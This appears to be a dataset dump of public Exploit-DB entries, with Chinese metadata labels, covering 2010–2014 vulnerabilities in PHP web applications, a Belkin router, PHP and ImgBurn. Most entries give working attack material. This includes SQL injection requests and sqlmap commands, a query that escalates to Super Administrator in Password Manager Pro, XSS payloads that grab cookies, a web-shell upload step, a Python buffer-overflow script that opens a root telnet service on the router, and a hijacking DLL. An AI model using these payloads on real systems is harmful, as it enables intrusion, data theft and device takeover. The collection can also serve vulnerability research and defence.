QLWD/code_shield huggingface dataset:
标题: Digi Online Examination System 2.0 - Unrestricted Arbitrary File Upload EDB-ID: 35223 CVE: 2014-8997 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-13 漏洞利用脚本: # Exploit Title:  Digi Online Examination System Unrestricted File Upload Vulnerability
# Date: 12-10-2014
# Exploit Author: Halil Dalabasmaz
# Version: v2.0
# Software Link: http://codecanyon.net/item/digi-online-examination-system-does/8610180
# Software Test Link: http://s1.digitalvidhya.com/doesv2/

# Vulnerabilities Description:

===Unrestricted File Upload===
You can upload your shell from "Photo" section while register the system. And then chekc your shell from here; http://example.com/assets/uploads/images/shellname.php

=Solution=
Filter the files aganist to attacks. URL: https://www.exploit-db.com/exploits/35223
标题: Piwigo 2.6.0 - 'picture.php?rate' SQL Injection EDB-ID: 35221 CVE: 2014-9115 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-13 漏洞利用脚本: =============================================
MGC ALERT 2014-001
- Original release date: January 12, 2014
- Last revised:  November 12, 2014
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Blind SQL Injection in Piwigo <= v2.6.0

II. BACKGROUND
-------------------------
Piwigo is a web application management photo albums, available under the
License GPL. Is written in PHP and requires a MySQL, PostgreSQL or SQLite
data.

III. DESCRIPTION
-------------------------
This bug was found using the portal without authentication. To exploit the
vulnerability only is needed use the version 1.0 of the HTTP protocol to
interact with the application. It is possible to inject SQL code in the
variable "rate" on the page "picture.php".

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
Blind SQL injection.

/piwigo/picture.php?/1/category/1&action=rate (POST parameter: rate=1)

Exploiting with SQLMap:

python sqlmap.py -u "
http://192.168.244.129/piwigo/picture.php?/1/category/1&action=rate" --data
"rate=1" --dbs

[16:32:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5
[16:32:25] [INFO] fetching database names
[16:32:25] [INFO] fetching number of databases
[16:32:25] [INFO] resumed: 4
[16:32:25] [INFO] resumed: information_schema
[16:32:25] [INFO] resumed: mysql
[16:32:25] [INFO] resumed: phpmyadmin
[16:32:25] [INFO] resumed: piwigo
available databases [4]:
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] piwigo

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Piwigo <= v2.6.0

VII. SOLUTION
-------------------------
All data received by the application and can be modified by the user,
before making any kind of transaction with them must be validated.

VIII. REFERENCES
-------------------------
http://www.piwigo.org

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
January 21, 2014 1: Initial release


XI. DISCLOSURE TIMELINE
-------------------------
January 21, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas
November 12, 2014 2: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester URL: https://www.exploit-db.com/exploits/35221
标题: Subex Fms 7.4 - SQL Injection EDB-ID: 35214 CVE: 2014-8728 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-11-11 漏洞利用脚本: =======================================================================================
Subex ROC Fraud Management System v7.4 - Unauthenticated Blind-Time Based SQL Injection
=======================================================================================

Affected Software: Subex ROC FMS v7.4 (and probably earlier versions)
Vendor Homepage  : http://www.subex.com/
Version   : 7.4
Remote   : Remote
Severity  : Very High
Discovered by  : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
CVE    : CVE-2014-8728


[Summary]
A parameter at the login page of Subex ROC Fraud Management platform is vulnerable to blind-time based SQL injection.


[Vulnerability Details]
Authentication : The exploitation can be performed by any unauthenticated user.
Page   : http://ip:port/login/login
Backend DB  : Oracle
POST Parameter  : ranger_user[name]

Sample HTTP POST Request - Data only:
-------------------------------------
ranger_user%5Bname%5D=admin%27%20AND%203402%3D%28CASE%20WHEN%20%28ASCII%28SUBSTRC%28%28SELECT%20%28CASE%20WHEN%20%28%28SELECT%20GRANTED_ROLE%20FROM%20DBA_ROLE_PRIVS%20WHERE%20GRANTEE%3DUSER%20AND%20GRANTED_ROLE%3DCHR%2868%29%7C%7CCHR%2866%29%7C%7CCHR%2865%29%29%3DCHR%2868%29%7C%7CCHR%2866%29%7C%7CCHR%2865%29%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%2C1%2C1%29%29%20%3E%2047%29%20THEN%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28122%29%7C%7CCHR%28102%29%7C%7CCHR%28100%29%7C%7CCHR%28114%29%2C5%29%20ELSE%203402%20END%29%20AND%20%27a%27%3D%27a&ranger_user%5Bpassword%5D=secuid0&commit=Login&ranger_user_i2%5Bfeatures%5D=0

Effect, the page will load with a delay of 5 seconds if the current database user is a member of the database administrators.

Using similar SQL statements an unauthenticated malicious visitor is able to enumerate various information from the backend database including those of usernames and password hashes (select ranger_user_name,hashed_password from ROCDB.PASSWORDS where rownum<2). The hashes can further be cracked and be used to access the application. Obviously if the DB user for the application has enough privileges you may be able to own the whole Oracle server.


[Timeline]
09/05/2012 - Advisory created, contacted Subex
15/05/2012 - Subex responded
15/05/2012 - Advisory details shared
17/05/2012 - Subex covered the issue in the latest patch cycle
30/08/2014 - Advisory published URL: https://www.exploit-db.com/exploits/35214
标题: WordPress Plugin SupportEzzy Ticket System 1.2.5 - Persistent Cross-Site Scripting EDB-ID: 35218 CVE: 2014-9179 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-12 漏洞利用脚本: # Exploit Title: SupportEzzy Ticket System - WordPress Plugin Stored XSS
Vulnerability
# Date: 12-10-2014
# Exploit Author: Halil Dalabasmaz
# Version: v1.2.5
# Vendor Homepage:
http://codecanyon.net/item/supportezzy-ticket-system-wordpress-plugin/8908617
# Software Test Link: http://demo.cssjockey.com/cjsupport/supportezzy/
# Tested on: Iceweasel and Chrome

# Vulnerabilities Description:

===Stored XSS===
Register and login to system and then submit new ticket. "URL (optional)"
input is not secure. You can run XSS payloads, use sample payload to test.

Sample Payload for Stored XSS: http://example.com
"><script>alert(document.cookie);</script>

===Solution===
Filter the input fields aganist to XSS attacks.
=============== URL: https://www.exploit-db.com/exploits/35218
标题: WordPress Plugin Another WordPress Classifieds Plugin - SQL Injection EDB-ID: 35204 CVE: 2014-10013 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-10 漏洞利用脚本: Exploit Title: Another Wordpress Classifieds Plugin sql injection and Cross Site Scripting  
Author: dill 
download: https://wordpress.org/plugins/another-wordpress-classifieds-plugin/Client 
Webpage: http://awpcp.com/


SQL injection
Details:
The parameter “keywordphrase” is susceptible to a time-based blind SQL injection when doing a search for classifieds. 

Proof-of-Concept (PoC)
Request:
POST /?page_id=16592 HTTP/1.1
Host: vulnerable.server
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://vulnerable.server/?page_id=16592
Cookie: wp-settings-1=libraryContent%3Dbrowse%26editor%3Dhtml; wp-settings-time-1=1407957654; wp-settings-time-2=1408136814; PHPSESSID=uk871e0cssdnca8oesorbmg2b6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 371
a=dosearch&keywordphrase=k'||(SELECT 'ICab' FROM DUAL WHERE 6152=6152 AND SLEEP(5))||'&searchcategory=&searchname=&searchpricemin=1&searchpricemax=2&select-country0.2917955784677633=&textfield-country0.2917955784677633=country®ions[0][country]=country&select-state0.3360776012424508=&textfield-state0.3360776012424508=state®ions[0][state]=State&select-city0.8672109586380441=&textfield-city0.8672109586380441=city®ions[0][city]=city

Exploit through sqlmap: 
Copy post request to text file
sqlmap -r keywordphrase.txt -p keywordphrase --dbms=MySQL --level=5

-----------------
Place: POST
Parameter: keywordphrase
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: a=dosearch&keywordphrase=k'||(SELECT 'ICab' FROM DUAL WHERE 6152=6152 AND SLEEP(5))||'&searchcategory=&searchname=&searchpricemin=1&searchpricemax=2&select-country0.2917955784677633=&textfield-country0.2917955784677633=country®ions[0][country]=country&select-state0.3360776012424508=&textfield-state0.3360776012424508=State®ions[0][state]=State&select-city0.8672109586380441=&textfield-city0.8672109586380441=City®ions[0][city]=City

Resolution: Developer was contacted and has since corrected the issues. Update to the latest version of the plugin URL: https://www.exploit-db.com/exploits/35204
标题: PHP-Fusion 7.02.07 - SQL Injection EDB-ID: 35206 CVE: 2014-8596 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-10 漏洞利用脚本: # Exploit Title: PHP-Fusion 7.02.07 SQL Injection
# Date: 06/11/2014
# Exploit Author: Mauricio Correa
# Vendor Homepage: www.php-fusion.co.uk
# Software Link:
http://ufpr.dl.sourceforge.net/project/php-fusion/PHP-Fusion%20Archives/7.x/
PHP-Fusion-7.02.07.zip
# Version: 7.02.07
# Tested on: Linux OS (Debian)
# CVE : CVE-2014-8596

 

GET
/PHP-Fusion/files/administration/submissions.php?action=2&aid=9b23a9871adc75
cd&submit_id=1[SQL Injection]&t=n HTTP/1.1
Host: 192.168.0.105
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
fusion68fF5_user=1.1414718441.a8ab620bccfcc51e12da05d5ab81734a44f1cabd25f620
b17122152bf157283f; fusion68fF5_lastvisit=1414550801;
session_id_8000=e987f4ac3b66045a9ce1ee9343c9a619dab98eb9;
fusion68fF5_visited=yes; has_js=1;
Connection: keep-alive

 

and

 

GET
/PHP-Fusion/files/administration/members.php?aid=9b23a9871adc75cd&status=4[S
QL Injection] HTTP/1.1
Host: 192.168.0.105
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
fusion68fF5_user=1.1414718441.a8ab620bccfcc51e12da05d5ab81734a44f1cabd25f620
b17122152bf157283f; fusion68fF5_lastvisit=1414550801;
session_id_8000=e987f4ac3b66045a9ce1ee9343c9a619dab98eb9;;
fusion68fF5_visited=yes; has_js=1;
Connection: keep-alive

 


More informations (in Portuguese Br): https://www.xlabs.com.br/blog/?p=282 URL: https://www.exploit-db.com/exploits/35206
标题: Password Manager Pro / Pro MSP - Blind SQL Injection EDB-ID: 35210 CVE: 2014-8499 2014-8498 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-11-10 漏洞利用脚本: >> Authenticated blind SQL injection in Password Manager Pro / Pro MSP
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 08/11/2014 / Last updated: 08/11/2014

>> Background on the affected products:
"Password Manager Pro (PMP) is a secure vault for storing and managing
shared sensitive information such as passwords, documents and digital
identities of enterprises."


>> Technical details:
PMP has a SQL injection vulnerability in its search function. A valid
user account is required to exploit the injection, however a low
privileged guest account is enough.

The application uses different database backends by default depending
on its version: versions < 6.8 use the MySQL backend and versions >=
6.8 use PostgreSQL. Single quotes are escaped with backslashes at the
injection point, but this can be somewhat avoided by double escaping
the slashes (\\'). In addition, injected strings are all modified to
uppercase. These two unintended "protections" make it difficult to
exploit the injection to achieve remote code execution.
However the injection can be abused in creative ways - for example to
escalate the current user privileges to "Super Administrator", which
has access to all the passwords in the system in unencrypted format.
This can be achieved by injecting the following queries: "update
AaaAuthorizedRole set role_id=1 where account_id=<userId>;insert into
ptrx_superadmin values (<userId>,true);".

A Metasploit module has been released that creates a new "Super
Administrator" account and exports PMP's password database in CSV
format. All passwords are exported unencrypted.


Vulnerability: Blind SQL injection in SEARCH_ALL parameter (multiple
pages affected)
Constraints: authentication needed (guest / low privileged user account)

CVE-2014-8498
POST /BulkEditSearchResult.cc
Affected versions: Unknown, at least v7 build 7001 to vX build XXX

CVE-2014-8499
POST /SQLAdvancedALSearchResult.cc
POST /AdvancedSearchResult.cc
Affected versions: Unknown, at least v6.5 to vX build XXX

COUNT=1&USERID=1&SEARCH_ALL=<injection here>


>> Fix:
Upgrade to version 7.1 build 7105


[1]
http://seclists.org/fulldisclosure/2014/Aug/55
http://seclists.org/fulldisclosure/2014/Aug/75
http://seclists.org/fulldisclosure/2014/Aug/88
http://seclists.org/fulldisclosure/2014/Sep/1
http://seclists.org/fulldisclosure/2014/Sep/110
http://seclists.org/fulldisclosure/2014/Nov/12

[2]
https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_pmp_privesc.txt URL: https://www.exploit-db.com/exploits/35210
标题: phpSound Music Sharing Platform 1.0.5 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 35198 CVE: 2014-8954 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-10 漏洞利用脚本: # Exploit Title: phpSound Music Sharing Platform Multiple XSS Vulnerabilities
# Date: 08-10-2014
# Exploit Author: Halil Dalabasmaz
# Version: v1.0.5
# Vendor Link: http://codecanyon.net/item/phpsound-music-sharing-platform/9016117
# Software Test Link: http://phpsound.com/demo

# Vulnerabilities Description:

===Stored XSS===
Create a Playlist and then you can run any XSS payload on "Title" or "Description" input fields.

Sample Payload for Stored XSS: "><script>alert(document.cookie);</script>

Solution
Filter the input fields aganist to XSS attacks.

===

===Reflected XSS===

The URL parameter is "filter" not filtered. 

http://server/path/index.php?a=explore&filter=XSS

Sample Payload for XSS: </title><script>alert(document.cookie);</script>

Solution
Filter the parameter aganist to XSS attacks.
=== URL: https://www.exploit-db.com/exploits/35198
标题: vldPersonals 2.7 - Multiple Vulnerabilities EDB-ID: 35193 CVE: 2014-9005 2014-9004 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-10 漏洞利用脚本: # Exploit Title: VLD Personal – Multiple Vulnerabilities
# Date: 09/11/2014
# Exploit Author: Mr T
# Exploit Authors Website: http://www.securitypentester.ninja
# Vendor Homepage: http://www.vldpersonals.com/
# Software Link: http://www.vldpersonals.com/clients/downloads.php
# Vulnerable Version: 2.7
# Fixed Version 2.7.1
# Tested on: Windows / Linux

XSS Attack

Issue detail:
The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9811c”><script>alert(1)</script>b7ec317c816 was submitted in the id parameter.

Response :
GET /index.php?m=member_profile&p=profile&id=9811c”><script>alert(1)<%2fscript>b7ec317c816 HTTP/1.1



SQL Injection:
Issue detail:
The country/gender1/gender2 parameter appears to be vulnerable to SQL injection attacks. The payload and benchmark(20000000,sha1(1))– was submitted in the country parameter. 

Response:
POST /index.php?m=search HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Cookie: visitors=x466x3878x3725x3797; PHPSESSID=nu75qtji88q4bilghhtg2s2; sessdata=0
>age_from=19&age_to=19&issearch=1&submit=Search&gender1=2
>&gender2=2&type_id=members
>&country=
>1%20and%20benchmark(20000000%2csha1(1))–%20


-- 
Talib Osmani URL: https://www.exploit-db.com/exploits/35193
标题: Belkin N750 - 'jump?login' Remote Buffer Overflow EDB-ID: 35184 CVE: 2014-1635 类型: REMOTE 平台: HARDWARE 发布日期: 2014-11-06 漏洞利用脚本: """
Source: https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/

A vulnerability in the guest network web interface of the Belkin N750 DB Wi-Fi Dual-Band N+ Gigabit Router with firmware F9K1103_WW_1.10.16m, allows an unauthenticated remote attacker to gain root access to the operating system of the affected device. The guest network functionality is default functionality and is delivered over an unprotected wifi network.

Successful exploitation of the vulnerability enables the attacker to gain full control of the affected router.

"""
#!/usr/bin/python
#Title : Belkin n750 buffer overflow in jump login parameter
#Date : 28 Jan 2014
#Author : Discovered and developed by Marco Vaz <mv@integrity.pt>
#Testd on: Firmware: 1.10.16m (2012/9/14 6:6:56) / Hardware : F9K1103 v1 (01C)

import httplib

headers = {}
body= “GO=&jump=”+ “a”*1379 +”%3b”+ “/usr/sbin/utelnetd -d” +”%3b&pws=\n\n”
conn = httplib.HTTPConnection(“192.168.169.1″,8080)
conn.request(“POST”, “/login.cgi”, body, headers)
response = conn.getresponse()
data = response.read()
print data URL: https://www.exploit-db.com/exploits/35184
标题: Joomla! 1.0.x - 'ordering' Cross-Site Scripting EDB-ID: 35167 CVE: 2011-0005 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/45679/info

The Joomla! Search component is prone to a cross-site-scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/joomla1015/index.php?option=com_search&searchword=xss&searchphrase=any&ordering=newest%22%20onmousemove=alert%28document.cookie%29%20style=position:fixed;top:0;left:0;width:100%;height:100%;% URL: https://www.exploit-db.com/exploits/35167
标题: PHP 5.3.2 - 'zend_strtod()' Floating-Point Value Denial of Service EDB-ID: 35164 CVE: 2010-4645 类型: DOS 平台: PHP 发布日期: 2011-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/45668/info

PHP is prone to a remote denial-of-service vulnerability.

Successful attacks will cause applications written in PHP to hang, creating a denial-of-service condition.

PHP 5.3.3 is vulnerable; other versions may also be affected. 

<?php $d = 2.2250738585072011e-308; ?> URL: https://www.exploit-db.com/exploits/35164
标题: Coppermine Photo Gallery 1.5.10 - 'searchnew.php' Cross-Site Scripting EDB-ID: 35157 CVE: 2010-4693 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/45600/info
 
Coppermine Photo Gallery is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Coppermine Photo Gallery 1.5.10 is vulnerable; other versions may also be affected. 

<html><body><center> <form action="http://localhost/cpg.1.5.10/searchnew.php" method="post"> <input type="hidden" name="insert" value="1"> <input type="hidden" name="pics[]" value="222"> <input type="hidden" name="picfile_222" value="PGJvZHkgb25sb2FkPWFsZXJ0KDEyMyk7Pg"> <input type="submit" value="Test!"> </form> </center></body></html> URL: https://www.exploit-db.com/exploits/35157
标题: LiveZilla 3.2.0.2 - 'Track' Module 'server.php' Cross-Site Scripting EDB-ID: 35149 CVE: 2010-4276 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/45586/info

LiveZilla is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LiveZilla 3.2.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/livezilla/server.php?request=track&livezilla=<script>alert(&#039;xss&#039;)</script> URL: https://www.exploit-db.com/exploits/35149
标题: ImgBurn 2.4 - 'dwmapi.dll' DLL Loading Arbitrary Code Execution EDB-ID: 35163 CVE: 2011-0403 类型: DOS 平台: WINDOWS 发布日期: 2011-01-01 漏洞利用脚本: // source: https://www.securityfocus.com/bid/45657/info

ImgBurn is prone to an arbitrary-code-execution vulnerability.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

ImgBurn 2.4.0.0 is vulnerable; other versions may also be affected. 

#include <windows.h>
#define DllExport __declspec (dllexport)
DllExport void DwmSetWindowAttribute() { egg(); }

int egg()
{
    system ("calc");
        exit(0);
        return 0;
} URL: https://www.exploit-db.com/exploits/35163
标题: Coppermine Photo Gallery 1.5.10 - 'help.php' Cross-Site Scripting EDB-ID: 35156 CVE: 2010-4693 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/45600/info

Coppermine Photo Gallery is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Coppermine Photo Gallery 1.5.10 is vulnerable; other versions may also be affected. 

http://www.example.com/cpg.1.5.10/help.php?base=1
&h=czozMzoiPHNjcmlwdD5hbGVydCgnaGVhZGVyJyk7PC9zY3JpcHQ%2bIjs
&t=czozMToiPHNjcmlwdD5hbGVydCgndGV4dCcpOzwvc2NyaXB0PiI7 URL: https://www.exploit-db.com/exploits/35156